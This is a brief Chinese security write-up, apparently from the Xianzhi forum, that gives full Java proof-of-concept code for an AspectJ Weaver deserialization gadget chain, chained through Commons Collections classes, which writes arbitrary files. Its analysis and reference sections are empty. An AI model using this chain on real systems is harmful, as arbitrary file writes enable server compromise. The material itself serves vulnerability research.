前言

其重写了HashMap的put方法。

简单demo

import java.lang.reflect.Constructor;import java.nio.charset.StandardCharsets;import java.util.HashMap;public class test {
    public static void main(String[] args) throws Exception {
        // 反射获取构造函数
        Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
        con.setAccessible(true);
        // 实例化对象
        HashMap map = (HashMap)con.newInstance("D:", 1);
        // 调用其put方法
        map.put("1.txt","21321321".getBytes(StandardCharsets.UTF_8));
    }}

反序列化触发

import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.charset.StandardCharsets;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class test {
    public static void main(String[] args) throws Exception {
        // 反射获取构造函数
        Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
        con.setAccessible(true);
        // 实例化对象
        HashMap map = (HashMap)con.newInstance("D:", 1);
        // 这里用到ConstantTransformer是为了构造value，即写入文件的值
        ConstantTransformer transform = new ConstantTransformer("12321321".getBytes(StandardCharsets.UTF_8));
        // 返回一个LazyMap对象
        Map outmap = LazyMap.decorate(map,transform);
        // 利用TiedMapEntry和BadAttributeValueExpException，使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
        TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");
        // 这里是为了序列化时不触发LazyMap的get方法
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);
        // 序列化
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(poc);
        System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
        // 反序列化
        ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        ois.readObject();
    }}

调试分析

参考

来源：先知(https://xz.aliyun.com/t/11499#toc-0)

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